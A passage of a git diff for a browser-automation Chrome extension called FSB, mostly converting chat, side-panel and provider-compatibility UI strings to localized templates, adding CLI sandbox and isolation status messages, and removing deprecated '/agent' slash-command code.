(_chatLockedByOwnerChip && chatInput) chatInput.title = _ownerLockTitle(_headerOwnerLabel); +} + // Apply theme based on settings. Preference is 'system' | 'dark' | 'light' // (set by the options page's Advanced Settings); 'system' resolves live from // the OS via matchMedia instead of hardening into 'light'/'dark' on first run. @@ -260,7 +282,7 @@ async function refreshOwnerChip() { // Tier 2: canonical MCP client name (Claude, Codex, Cursor, ...) from the // dispatcher-written fsbAgentClientLabels map, keyed by ownerAgentId. // Tier 3: friendly client name from the visual-session lifecycle entry - // (Phase 10 D-01 allowlist; e.g., OpenClaw, Claude, FSB Autopilot). + // (Phase 10 D-01 allowlist; e.g., OpenClaw, Claude, Autopilot). // Tier 4: formatAgentIdForDisplay short-prefix fallback for raw-FSB-tool // agents that never tick the visual-session pipeline. // The clientLabelFor existence check is a forward-compatibility guard in case @@ -301,7 +323,7 @@ async function refreshOwnerChip() { // `.disabled` property does NOT block typing on contenteditable elements. _chatLockedByOwnerChip = true; chatInput.setAttribute('contenteditable', 'false'); - chatInput.title = 'Disabled while tab is owned by ' + label; + chatInput.title = _ownerLockTitle(label); updateSendButtonState(); } catch (_e) { // Chip is best-effort -- never poison popup boot. @@ -451,16 +473,6 @@ async function handleSendMessage() { return; } - // DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md - // Handle /agent slash commands - // if (message.startsWith('/agent')) { - // chatInput.textContent = ''; - // updateSendButtonState(); - // addMessage(message, 'user'); - // handleAgentCommand(message); - // return; - // } - try { // Add user message to chat addMessage(message, 'user'); @@ -500,14 +512,14 @@ async function handleSendMessage() { // Show Chrome page error as plain text, not in a bubble showChromepageError(response.error); } else { - addMessage(`I encountered an error: ${response.error}`, 'error'); + addMessage(uiLine('shell_error_encountered', 'I encountered an error: $ERROR$', { error: response.error }), 'error'); } setIdleState(); } }); } catch (error) { - addMessage(`Something went wrong: ${error.message}`, 'error'); + addMessage(uiLine('shell_error_generic', 'Something went wrong: $ERROR$', { error: error.message }), 'error'); setIdleState(); } } @@ -535,7 +547,7 @@ function stopAutomation() { if (chrome.runtime.lastError) { console.error('Chrome runtime error:', chrome.runtime.lastError); - addMessage(`Error communicating with background script: ${chrome.runtime.lastError.message}`, 'error'); + addMessage(uiLine('shell_error_background', 'Error communicating with background script: $ERROR$', { error: chrome.runtime.lastError.message }), 'error'); stopRequested = false; return; } @@ -552,7 +564,7 @@ function stopAutomation() { console.log('Automation stopped successfully'); } else { const errorMsg = response ? response.error : 'Unknown error'; - addMessage(`Error stopping automation: ${errorMsg}`, 'error'); + addMessage(uiLine('shell_error_stop', 'Error stopping automation: $ERROR$', { error: errorMsg }), 'error'); console.error('Stop automation failed:', errorMsg); stopRequested = false; } @@ -575,7 +587,7 @@ async function testAPI() { }; const displayName = providerNames[provider] || provider; - addMessage(`Testing ${displayName} API connection...`, 'system'); + addMessage(uiLine('shell_testing_api', 'Testing $NAME$ API connection...', { name: displayName }), 'system'); const testIcon = testBtn.querySelector('i'); if (testIcon) { @@ -590,19 +602,19 @@ async function testAPI() { } if (response.success) { - addMessage(`${displayName} API connection is working.`, 'system'); + addMessage(uiLine('shell_api_ok', '$NAME$ API connection is working.', { name: displayName }), 'system'); if (response.result && response.result.data) { - addMessage(`Connected to model: ${response.result.model || 'unknown'}`, 'ai'); + addMessage(uiLine('shell_api_model', 'Connected to model: $MODEL$', { model: response.result.model || uiLine('copy_b764cdc0ea', 'Unknown') }), 'ai'); } } else { - addMessage(`${displayName} API connection failed. Please check your settings.`, 'error'); + addMessage(uiLine('shell_api_failed', '$NAME$ API connection failed. Please check your settings.', { name: displayName }), 'error'); if (response.result) { - addMessage(`Status: ${response.result.status} - ${response.result.statusText}`, 'error'); + addMessage(uiLine('shell_api_status', 'Status: $STATUS$ - $DETAIL$', { status: response.result.status, detail: response.result.statusText }), 'error'); if (response.result.error) { - addMessage(`Details: ${response.result.error}`, 'error'); + addMessage(uiLine('shell_api_details', 'Details: $ERROR$', { error: response.result.error }), 'error'); } } else if (response.error) { - addMessage(`Error details: ${response.error}`, 'error'); + addMessage(uiLine('shell_error_details', 'Error details: $ERROR$', { error: response.error }), 'error'); } } }); @@ -725,7 +737,12 @@ function collapseOldActions() { // Update count label const countEl = group.querySelector('.action-summary-count'); if (countEl) { - countEl.textContent = `${list.children.length} actions completed`; + const count = list.children.length; + const label = count === 1 ? '$COUNT$ action completed' : '$COUNT$ actions completed'; + // The template keeps its catalog key, so a language change rewrites the + // count before the next action arrives. + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(countEl, label, { count }); + else countEl.textContent = label.replace('$COUNT$', count); } } @@ -752,6 +769,7 @@ function addStatusMessage(text, type = 'ai') { const statusText = document.createElement('span'); statusText.className = 'status-text'; statusText.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, text); // Progress container (hidden until progress data arrives) const progressContainer = document.createElement('div'); @@ -791,7 +809,8 @@ function updateStatusMessage(text, progressData) { if (currentStatusMessage) { const statusText = currentStatusMessage.querySelector('.status-text'); if (statusText) { - statusText.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, text); + else statusText.textContent = text; } if (progressData && progressData.iteration != null) { const container = currentStatusMessage.querySelector('.progress-container'); @@ -800,7 +819,13 @@ function updateStatusMessage(text, progressData) { if (container && fill && label) { container.classList.remove('hidden'); fill.style.width = (progressData.progressPercent || 0) + '%'; - label.textContent = `Step ${progressData.iteration}/${progressData.maxIterations || 100}`; + const template = 'Step $CURRENT$ of $TOTAL$'; + const subs = { current: progressData.iteration, total: progressData.maxIterations || 100 }; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.fill === 'function') { + fsbUiLocale.fill(label, 'entry_step', template, subs); + } else { + label.textContent = template.replace('$CURRENT$', subs.current).replace('$TOTAL$', subs.total); + } } } } @@ -808,7 +833,7 @@ function updateStatusMessage(text, progressData) { // Complete status message (remove loader, show brief label) // Full result is shown in a separate completion bubble below -function completeStatusMessage(text, type = 'ai') { +function completeStatusMessage(text, type = 'ai', subs) { if (currentStatusMessage) { // Remove loader dots const loaderDots = currentStatusMessage.querySelector('.typing-dots'); @@ -823,7 +848,8 @@ function completeStatusMessage(text, type = 'ai') { : 'Task completed'; const statusTextEl = currentStatusMessage.querySelector('.status-text'); if (statusTextEl) { - statusTextEl.textContent = briefLabel; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusTextEl, briefLabel); + else statusTextEl.textContent = briefLabel; } // Style as completed @@ -834,15 +860,15 @@ function completeStatusMessage(text, type = 'ai') { // Show full result in a separate bubble (skip for system messages like "Automation stopped") if (type === 'partial') { - addCompletionMessage(text, 'ai', true); + addCompletionMessage(text, 'ai', true, subs); } else if (type !== 'system') { - addCompletionMessage(text, type); + addCompletionMessage(text, type, false, subs); } } } // Add a separate completion message bubble with markdown support -function addCompletionMessage(text, type = 'ai', isPartial = false) { +function addCompletionMessage(text, type = 'ai', isPartial = false, subs) { const messageDiv = document.createElement('div'); messageDiv.className = `message ai-completion new`; @@ -850,13 +876,22 @@ function addCompletionMessage(text, type = 'ai', isPartial = false) { messageDiv.classList.add('partial-result'); const label = document.createElement('div'); label.className = 'partial-result-label'; - label.textContent = 'Partial result'; + label.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(label, 'Partial result') + : 'Partial result'; messageDiv.appendChild(label); } if (type === 'error') { messageDiv.className = `message error new`; - messageDiv.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') { + fsbUiLocale.markExact(messageDiv, text, subs); + } else { + messageDiv.textContent = subs ? text.replace(/\$([A-Za-z0-9_]+)\$/g, (all, name) => { + const value = subs[name] != null ? subs[name] : subs[name.toLowerCase()]; + return value == null ? all : String(value); + }) : text; + } } else { // Use markdown rendering if available, plain text fallback const contentDiv = document.createElement('div'); @@ -928,6 +963,10 @@ function addMessage(text, type = 'system') { } else { messageDiv.textContent = text; } + if (type !== 'user' && type !== 'ai' && type !== 'action' + && globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') { + fsbUiLocale.markExact(messageDiv, messageDiv.textContent); + } // Add dismiss button for error messages if (type === 'error') { @@ -1042,7 +1081,10 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { // Snapshot previous status as completed action message const prevText = currentStatusMessage?.querySelector('.status-text')?.textContent; const skipTexts = ['Starting automation...', 'Connecting to page...', 'Connected. Analyzing page...', 'Analyzing page...']; - if (prevText && !skipTexts.includes(prevText)) { + // addStatusMessage() shows these through fsbUiLocale, so the DOM may hold a translation. + const isTransient = (english) => prevText === english + || (globalThis.fsbUiLocale && typeof fsbUiLocale.isLine === 'function' && fsbUiLocale.isLine(english, prevText)); + if (prevText && !skipTexts.some(isTransient)) { addActionMessage(prevText); } updateStatusMessage(request.message, { @@ -1057,15 +1099,19 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (!isRunning) return; // Already idle, ignore duplicate if (request.sessionId === currentSessionId) { setErrorState(); - completeStatusMessage(`Error: ${request.error}`, 'error'); + completeStatusMessage('Error: $ERROR$', 'error', { error: request.error }); // Add retry button if task is available if (request.task) { const retryDiv = document.createElement('div'); retryDiv.className = 'message system new'; - retryDiv.textContent = 'Would you like to try again? '; + retryDiv.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryDiv, 'Would you like to try again? ') + : 'Would you like to try again? '; const retryBtn = document.createElement('button'); retryBtn.className = 'retry-btn'; - retryBtn.textContent = 'Retry'; + retryBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryBtn, 'Retry') + : 'Retry'; retryBtn.addEventListener('click', () => { retryDiv.remove(); chatInput.textContent = request.task; @@ -1110,109 +1156,11 @@ document.addEventListener('drop', (e) => e.preventDefault()); console.log(`FSB v${chrome.runtime.getManifest().version} chat interface loaded`); -// ========================================== -// /agent Slash Command Handler -// ========================================== - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// function handleAgentCommand(message) { -// const parts = message.split(/\s+/); -// const subCommand = parts[1] || ''; -// -// if (subCommand === 'list') { -// showAgentList(); -// } else if (subCommand === 'stop') { -// const agentName = parts.slice(2).join(' '); -// stopAgentByName(agentName); -// } else { -// startAgentWizard(); -// } -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// async function showAgentList() { -// try { -// const response = await new Promise(resolve => { -// chrome.runtime.sendMessage({ action: 'listAgents' }, resolve); -// }); -// -// const agents = response?.agents || []; -// if (agents.length === 0) { -// addMessage('No background agents configured. Use /agent to create one.', 'system'); -// return; -// } -// -// let listText = 'Background Agents:\n'; -// for (const agent of agents) { -// const status = agent.enabled ? '[ON]' : '[OFF]'; -// const lastRun = agent.lastRunAt ? new Date(agent.lastRunAt).toLocaleString() : 'Never'; -// listText += `\n${status} ${agent.name} - ${formatScheduleShort(agent.schedule)} - Last: ${lastRun}`; -// } -// addMessage(listText, 'system'); -// } catch (error) { -// addMessage('Failed to load agents: ' + error.message, 'error'); -// } -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// async function stopAgentByName(name) { -// if (!name) { -// addMessage('Usage: /agent stop ', 'system'); -// return; -// } -// -// try { -// const response = await new Promise(resolve => { -// chrome.runtime.sendMessage({ action: 'listAgents' }, resolve); -// }); -// -// const agents = response?.agents || []; -// const agent = agents.find(a => a.name.toLowerCase().includes(name.toLowerCase())); -// -// if (!agent) { -// addMessage('Agent not found: "' + name + '"', 'error'); -// return; -// } -// -// if (!agent.enabled) { -// addMessage('Agent "' + agent.name + '" is already disabled.', 'system'); -// return; -// } -// -// const toggleResp = await new Promise(resolve => { -// chrome.runtime.sendMessage({ action: 'toggleAgent', agentId: agent.agentId }, resolve); -// }); -// -// if (toggleResp.success) { -// addMessage('Agent "' + agent.name + '" has been disabled.', 'system'); -// } else { -// addMessage('Failed to stop agent: ' + (toggleResp.error || 'Unknown error'), 'error'); -// } -// } catch (error) { -// addMessage('Error: ' + error.message, 'error'); -// } -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// function startAgentWizard() { -// chrome.runtime.openOptionsPage(); -// setTimeout(() => { -// chrome.runtime.sendMessage({ action: 'openAgentForm' }); -// }, 500); -// addMessage('Opening agent settings... Use the form in the options page to create your agent.', 'system'); -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// function formatScheduleShort(schedule) { -// if (!schedule) return 'Not set'; -// switch (schedule.type) { -// case 'interval': -// return 'Every ' + (schedule.intervalMinutes || 1) + ' min'; -// case 'daily': -// return 'Daily at ' + (schedule.dailyTime || '09:00'); -// case 'once': -// return 'Run once'; -// default: -// return schedule.type; -// } -// } +if (globalThis.fsbUiLocale && typeof fsbUiLocale.boot === 'function') { + if (typeof fsbUiLocale.onChange === 'function') fsbUiLocale.onChange(_refreshOwnerCopy); + fsbUiLocale.boot().then(function () { + fsbUiLocale.apply(document); + if (typeof _renderHeaderStatus === 'function') _renderHeaderStatus(); + _refreshOwnerCopy(); + }); +} diff --git a/extension/ui/providers-panel.js b/extension/ui/providers-panel.js index 68b42a7ce..05af057c7 100644 --- a/extension/ui/providers-panel.js +++ b/extension/ui/providers-panel.js @@ -36,7 +36,15 @@ below_minimum: true, wrong_major: true, adapter_unshipped: true, - matrix_invalid: true + matrix_invalid: true, + capability_unverified: true, + capability_missing: true, + isolation_unavailable: true, + sandbox_unavailable: true, + agent_protocol_drift: true, + binary_changed: true, + adapter_unavailable: true, + version_unsupported: true }); var COMPATIBILITY_SUPPORTED_MODEL = Object.freeze({ label: 'Supported', @@ -44,6 +52,20 @@ className: 'compatibility-badge--supported', detail: "This CLI is within FSB's fixture-tested compatibility range." }); + var COMPATIBILITY_VERIFIED_MODEL = Object.freeze({ + label: 'Verified', + icon: 'fa-circle-check', + className: 'compatibility-badge--supported', + detail: 'FSB verified the required protocol and isolation capabilities of this CLI.' + }); + var COMPATIBILITY_REFUSAL_DETAILS = Object.freeze({ + capability_unverified: 'Refresh status to verify this CLI before starting a task.', + capability_missing: 'This CLI does not provide the capabilities FSB requires.', + isolation_unavailable: 'FSB could not verify that this CLI is isolated from external configuration and tools.', + sandbox_unavailable: 'Grok could not apply the required strict sandbox. Check the local Docker socket configuration, then refresh status.', + agent_protocol_drift: 'This CLI returned an incompatible protocol response.', + binary_changed: 'The CLI changed during verification. Refresh status to verify the updated executable.' + }); var COMPATIBILITY_DEGRADED_NEWER_MODEL = Object.freeze({ label: 'Degraded', icon: 'fa-triangle-exclamation', @@ -341,6 +363,12 @@ && hasCheckedAt) { return createCompatibilityDisplayModel(COMPATIBILITY_DEGRADED_STALE_MODEL, checkedText); } + if (providerId === 'grok-build' && status === 'supported' + && reason === 'capability_verified' && hasCheckedAt) { + return createCompatibilityDisplayModel(COMPATIBILITY_VERIFIED_MODEL, checkedText); + } + if (providerId === 'grok-build' && (status === 'supported' || status === 'degraded') + && reason !== 'evidence_stale') return fallback; if (status === 'supported' && reason === 'within_tested_range' && hasCheckedAt) { return createCompatibilityDisplayModel(COMPATIBILITY_SUPPORTED_MODEL, checkedText); } @@ -350,10 +378,11 @@ if (status === 'unsupported' && typeof reason === 'string' && hasOwn(COMPATIBILITY_UNSUPPORTED_REASONS, reason)) { - return createCompatibilityDisplayModel( - COMPATIBILITY_UNSUPPORTED_MODEL, - hasCheckedAt ? checkedText : null + var refusal = createCompatibilityDisplayModel( + COMPATIBILITY_UNSUPPORTED_MODEL, hasCheckedAt ? checkedText : null ); + if (hasOwn(COMPATIBILITY_REFUSAL_DETAILS, reason)) refusal.detail = COMPATIBILITY_REFUSAL_DETAILS[reason]; + return refusal; } return fallback; } diff --git a/extension/ui/sidepanel-message-log.js b/extension/ui/sidepanel-message-log.js index 25bca9acd..307fb790a 100644 --- a/extension/ui/sidepanel-message-log.js +++ b/extension/ui/sidepanel-message-log.js @@ -5,6 +5,7 @@ * Storage key: 'fsbConversationMessages' (CONTEXT D-01 + D-02). * Envelope: { v: 1, byConv: { '': log, ... }, lru: ['', ...] }. * Log: { v: 1, messages: [{role, content, timestamp, kind}, ...], lastWriteAt, createdAt }. + * UI rows may carry uiMessage: { english, subs? }; content stays readable on its own. * Cap: 50 conversations; tail-eviction on 51st insert (D-04). * Debounce: 200ms per convId; clear-and-replace (D-03). * @@ -117,6 +118,34 @@ return true; } + // Copy only JSON-safe catalog sources. Bad optional metadata must never + // discard the message's readable fallback text. + function cloneUiMessage(value, depth) { + depth = depth || 0; + if (depth > 8 || !value || typeof value !== 'object' || Array.isArray(value) + || !Object.prototype.hasOwnProperty.call(value, 'english') + || typeof value.english !== 'string' || value.english.length === 0) return null; + var copy = { english: value.english }; + if (Object.prototype.hasOwnProperty.call(value, 'subs') && value.subs !== undefined) { + if (!value.subs || typeof value.subs !== 'object' || Array.isArray(value.subs)) return null; + copy.subs = {}; + var names = Object.keys(value.subs); + for (var i = 0; i < names.length; i++) { + var sub = value.subs[names[i]]; + if (sub === undefined) continue; + if (sub !== null && typeof sub !== 'string' && typeof sub !== 'boolean' + && !(typeof sub === 'number' && Number.isFinite(sub))) { + sub = cloneUiMessage(sub, depth + 1); + if (!sub) return null; + } + Object.defineProperty(copy.subs, names[i], { + value: sub, enumerable: true, writable: true, configurable: true + }); + } + } + return copy; + } + /** * Append a message to the per-convId log. Lazy-creates the per-convId log on * first call. Updates lastWriteAt + LRU. Enforces cap. Mutates envelope in @@ -153,6 +182,8 @@ }; if (typeof msg.sessionId === 'string') row.sessionId = msg.sessionId; if (msg.terminal === true) row.terminal = true; + var uiMessage = msg.role === 'assistant' && msg.kind !== 'tool' ? cloneUiMessage(msg.uiMessage) : null; + if (uiMessage) row.uiMessage = uiMessage; log.messages.push(row); log.lastWriteAt = now; _touchLru(envelope, key); @@ -181,6 +212,8 @@ var row = { role: m.role, content: m.content, timestamp: m.timestamp, kind: m.kind }; if (typeof m.sessionId === 'string') row.sessionId = m.sessionId; if (m.terminal === true) row.terminal = true; + var uiMessage = m.role === 'assistant' && m.kind !== 'tool' ? cloneUiMessage(m.uiMessage) : null; + if (uiMessage) row.uiMessage = uiMessage; out.push(row); } return out; @@ -321,6 +354,7 @@ ENVELOPE_VERSION: ENVELOPE_VERSION, emptyEnvelope: emptyEnvelope, isValidEnvelope: isValidEnvelope, + cloneUiMessage: cloneUiMessage, appendMessage: appendMessage, getMessages: getMessages, dropConversationMessages: dropConversationMessages, diff --git a/extension/ui/sidepanel.html b/extension/ui/sidepanel.html index 2d3ca967f..3586da9b3 100644 --- a/extension/ui/sidepanel.html +++ b/extension/ui/sidepanel.html @@ -2,7 +2,7 @@ - FSB - Side Panel + FSB - Side Panel @@ -13,23 +13,23 @@
-

FSB

- Persistent workspace +

FSB

+ Persistent workspace
- Ready - Side panel input is disabled while automation is working on this tab + Ready + Side panel input is disabled while automation is working on this tab
- - -
@@ -37,10 +37,10 @@

FSB

0s - Automation running + Automation running
@@ -111,13 +111,13 @@

Session History

aria-multiline="true" >
- - -
@@ -138,7 +138,7 @@

Session History

- Confirm Payment Fill + Confirm Payment Fill
@@ -146,11 +146,11 @@

Session History

-

Card details will be filled into the form fields. FSB will not submit the payment.

+

Card details will be filled into the form fields. FSB will not submit the payment.

- - + +
@@ -170,6 +170,8 @@

Session History

+ + diff --git a/extension/ui/sidepanel.js b/extension/ui/sidepanel.js index b3336e71e..9e9ae9be3 100644 --- a/extension/ui/sidepanel.js +++ b/extension/ui/sidepanel.js @@ -521,7 +521,7 @@ async function hydrateChatFromConversationId(convId) { && typeof _lastUserTaskByConversation.set === 'function') { _lastUserTaskByConversation.set(convId, m.content); } - renderPersistedMessage(m.content, m.role, m.kind); + renderPersistedMessage(m.content, m.role, m.kind, m.uiMessage); } activeConversationId = convId; return sorted.length; @@ -631,7 +631,8 @@ let _activeTabSurfaceSyncGeneration = 0; function _renderHeaderStatus() { if (!statusText || !statusDot || !statusDot.classList) return; statusDot.classList.remove('running', 'error'); - statusText.textContent = _headerBaseStatusLabel; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, _headerBaseStatusLabel); + else statusText.textContent = _headerBaseStatusLabel; if (_headerBaseStatusTone === 'running') statusDot.classList.add('running'); if (_headerBaseStatusTone === 'error') statusDot.classList.add('error'); } @@ -917,6 +918,10 @@ function _delegationValidTrustResponse(value, providerId) { function _delegationStartRejectionDetail(value) { var reasons = { adapter_unavailable: 'the provider became unavailable', + sandbox_unavailable: 'the required sandbox could not start', + capability_missing: 'the CLI is missing a required capability', + isolation_unavailable: 'the private agent configuration could not be verified', + binary_changed: 'the CLI changed while it was being checked', spawn_failed: 'the agent process could not be started', activation_failed: 'the agent process could not be verified', agent_protocol_drift: 'the agent spoke an unexpected protocol', @@ -1249,11 +1254,23 @@ function _clearDelegationNode(node) { while (node.firstChild) node.removeChild(node.firstChild); } -function _delegationElement(tagName, className, textValue) { +// Templated copy is passed as the English template plus subs, never as a filled +// line, so the element keeps its key and follows a language change. +function _delegationElement(tagName, className, textValue, subs) { var element = document.createElement(tagName); if (className) element.className = className; if (textValue !== undefined && textValue !== null) { - element.textContent = String(textValue); + var english = String(textValue); + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') { + fsbUiLocale.markExact(element, english, subs); + } else { + element.textContent = subs + ? english.replace(/\$([A-Z]+)\$/g, function(all, name) { + var value = subs[name.toLowerCase()]; + return value == null ? all : String(value); + }) + : english; + } } return element; } @@ -1289,13 +1306,13 @@ function _delegationSemanticIcon(tone) { return icon; } -function _delegationSemanticHeading(tagName, className, textValue, tone) { +function _delegationSemanticHeading(tagName, className, textValue, tone, subs) { var heading = _delegationElement( tagName, className + ' delegation-semantic-heading' ); heading.appendChild(_delegationSemanticIcon(tone)); - heading.appendChild(_delegationElement('span', 'delegation-heading-copy', textValue)); + heading.appendChild(_delegationElement('span', 'delegation-heading-copy', textValue, subs)); return heading; } @@ -1320,11 +1337,12 @@ function _applyDelegationSnapshotTone(container, snapshot, toneOverride) { container.setAttribute('data-delegation-tone', tone); } -function _delegationAction(label, className, handler) { +function _delegationAction(label, className, handler, subs) { var button = _delegationElement( 'button', 'delegation-action' + (className ? ' ' + className : ''), - label + label, + subs ); button.type = 'button'; if (typeof handler === 'function') button.addEventListener('click', handler); @@ -1525,10 +1543,10 @@ async function _hydrateDelegationForSelectedConversation() { return true; } -function _renderDelegationInlineError(container, textValue) { +function _renderDelegationInlineError(container, textValue, subs) { if (!container || !textValue) return; var standalone = !container.firstChild; - var error = _delegationElement('p', 'delegation-inline-error', textValue); + var error = _delegationElement('p', 'delegation-inline-error', textValue, subs); if (standalone) error.id = 'delegationRunHeading'; // The state card owns assertive semantics for lifecycle alerts. Avoid a // nested alert that would re-announce unchanged cleanup copy when the @@ -1571,10 +1589,14 @@ function _renderDelegationConsent(options) { _delegationUiState.providerId, _delegationUiState.providerLabel ); - var providerLabel = provider ? provider.label : 'Agent'; + var providerLabel = provider ? provider.label : 'The agent'; + var providerSubs = { name: providerLabel }; var heading = _delegationElement( - 'h2', 'delegation-state-heading', 'Let ' + providerLabel + ' control this browser?' + 'h2', + 'delegation-state-heading', + 'Let $NAME$ control this browser?', + providerSubs ); heading.id = 'delegationRunHeading'; heading.tabIndex = -1; @@ -1582,7 +1604,8 @@ function _renderDelegationConsent(options) { mount.state.appendChild(_delegationElement( 'p', 'delegation-state-body', - providerLabel + ' may drive FSB browser tools for this task.' + '$NAME$ may drive FSB browser tools for this task.', + providerSubs )); mount.state.appendChild(_delegationElement( 'p', @@ -1596,13 +1619,13 @@ function _renderDelegationConsent(options) { checkbox.checked = false; checkbox.disabled = _delegationUiState.pendingStart || _delegationUiState.pendingTrust; trust.appendChild(checkbox); - trust.appendChild(document.createTextNode('Trust ' + providerLabel + ' for future runs')); + trust.appendChild(_delegationElement('span', '', 'Trust $NAME$ for future runs', providerSubs)); mount.state.appendChild(trust); mount.state.appendChild(_delegationElement( 'p', 'delegation-state-note', - 'This turns off confirmation for future ' + providerLabel - + ' runs on this browser.' + 'This turns off confirmation for future $NAME$ runs on this browser.', + providerSubs )); if (_delegationUiState.errorCode) { @@ -1616,9 +1639,10 @@ function _renderDelegationConsent(options) { var actions = _delegationElement('div', 'delegation-state-actions'); var allow = _delegationAction( - 'Allow & start ' + providerLabel, + 'Allow & start $NAME$', 'delegation-action-primary', - function() { _allowDelegationFromConsent(checkbox); } + function() { _allowDelegationFromConsent(checkbox); }, + providerSubs ); allow.disabled = _delegationUiState.pendingStart || _delegationUiState.pendingTrust; var back = _delegationAction('Back to message', '', _backToDelegationMessage); @@ -1643,7 +1667,10 @@ async function _copyDelegationDoctorCommand() { && typeof navigator.clipboard.writeText === 'function') { await navigator.clipboard.writeText(command); var mount = _ensureDelegationMount(); - if (mount.announcer) mount.announcer.textContent = 'Doctor command copied'; + if (mount.announcer) { + if (globalThis.fsbUiLocale && fsbUiLocale.markExact) fsbUiLocale.markExact(mount.announcer, 'Doctor command copied'); + else mount.announcer.textContent = 'Doctor command copied'; + } } } catch (_error) { /* clipboard failure leaves the visible literal available */ } } @@ -1656,7 +1683,10 @@ async function _copyDelegationPairResetCommand() { && typeof navigator.clipboard.writeText === 'function') { await navigator.clipboard.writeText(command); var mount = _ensureDelegationMount(); - if (mount.announcer) mount.announcer.textContent = 'Pairing reset command copied'; + if (mount.announcer) { + if (globalThis.fsbUiLocale && fsbUiLocale.markExact) fsbUiLocale.markExact(mount.announcer, 'Pairing reset command copied'); + else mount.announcer.textContent = 'Pairing reset command copied'; + } } } catch (_error) { /* clipboard failure leaves the visible literal available */ } } @@ -1681,7 +1711,10 @@ async function _copyDelegationNativeHostInstallCommand() { && typeof navigator.clipboard.writeText === 'function') { await navigator.clipboard.writeText(command); var mount = _ensureDelegationMount(); - if (mount.announcer) mount.announcer.textContent = 'Native helper install command copied'; + if (mount.announcer) { + if (globalThis.fsbUiLocale && fsbUiLocale.markExact) fsbUiLocale.markExact(mount.announcer, 'Native helper install command copied'); + else mount.announcer.textContent = 'Native helper install command copied'; + } } } catch (_error) { /* the visible recovery copy remains actionable */ } } @@ -1807,9 +1840,13 @@ function _renderDelegationPreflightFailure(result) { _delegationOwnDataValue(result, 'providerId'), _delegationOwnDataValue(result, 'providerLabel') ); - var providerLabel = provider ? provider.label : 'Selected provider'; + // Subs stay English (the start reason too); markExact() translates the ones + // that are catalog copy along with their template. + var providerSubs = { name: provider ? provider.label : 'Selected provider' }; var headingText = 'Agent offline'; + var headingSubs = null; var bodyText = 'FSB cannot reach the local agent service. Run the doctor command, then try this message again.'; + var bodySubs = null; var primaryLabel = 'Copy doctor command'; var primaryAction = _copyDelegationDoctorCommand; var secondaryLabel = 'Open provider setup'; @@ -1837,37 +1874,43 @@ function _renderDelegationPreflightFailure(result) { secondaryLabel = null; secondaryAction = null; } else if (code === 'unsupported_provider') { - headingText = providerLabel + ' cannot run browser tasks'; + headingText = '$NAME$ cannot run browser tasks'; + headingSubs = providerSubs; bodyText = 'The selected provider does not support agents that control browser tabs. Choose a supported agent provider, then try this message again.'; primaryLabel = 'Choose another provider'; primaryAction = _openDelegationProviderSetup; secondaryLabel = null; secondaryAction = null; } else if (code === 'auth_unauthenticated') { - headingText = providerLabel + ' cannot start this task'; - bodyText = 'Sign in to ' + providerLabel - + ' locally, then try this message again.'; + headingText = '$NAME$ cannot start this task'; + headingSubs = providerSubs; + bodyText = 'Sign in to $NAME$ locally, then try this message again.'; + bodySubs = providerSubs; primaryLabel = 'Open provider setup'; primaryAction = _openDelegationProviderSetup; secondaryLabel = 'Back to message'; secondaryAction = _backToDelegationMessage; } else if (code === 'auth_unknown') { - headingText = providerLabel + ' cannot start this task'; - bodyText = providerLabel - + ' sign-in status could not be verified. Use Test Connection in API Configuration, then try again.'; + headingText = '$NAME$ cannot start this task'; + headingSubs = providerSubs; + bodyText = '$NAME$ sign-in status could not be verified. Use Test Connection in API Configuration, then try again.'; + bodySubs = providerSubs; primaryLabel = 'Open provider setup'; primaryAction = _openDelegationProviderSetup; secondaryLabel = 'Back to message'; secondaryAction = _backToDelegationMessage; } else if (code === 'start_rejected') { var startDetail = _delegationStartRejectionDetail(result); - headingText = providerLabel + ' cannot start this task'; - bodyText = providerLabel - + (startDetail - ? ' could not start a delegated browser run because ' - + startDetail.reason + ' (' + startDetail.code + ').' - : ' could not pass FSB\'s final delegated-browser start checks.') - + ' Test Connection may still succeed because it does not start a delegated run. Retry the message or review provider setup.'; + headingText = '$NAME$ cannot start this task'; + headingSubs = providerSubs; + bodyText = startDetail + ? '$NAME$ could not start a delegated browser run because $REASON$ ($CODE$). Test Connection may still succeed because it does not start a delegated run. Retry the message or review provider setup.' + : '$NAME$ could not pass FSB\'s final delegated-browser start checks. Test Connection may still succeed because it does not start a delegated run. Retry the message or review provider setup.'; + bodySubs = { + name: providerSubs.name, + reason: startDetail ? startDetail.reason : '', + code: startDetail ? startDetail.code : '' + }; primaryLabel = 'Open provider setup'; primaryAction = _openDelegationProviderSetup; secondaryLabel = 'Back to message'; @@ -1901,14 +1944,14 @@ function _renderDelegationPreflightFailure(result) { || code === 'bridge_session_unavailable'; var heading = offlinePresentation ? _delegationSemanticHeading( - 'h2', 'delegation-state-heading delegation-semantic-heading', headingText, 'danger' + 'h2', 'delegation-state-heading delegation-semantic-heading', headingText, 'danger', headingSubs ) - : 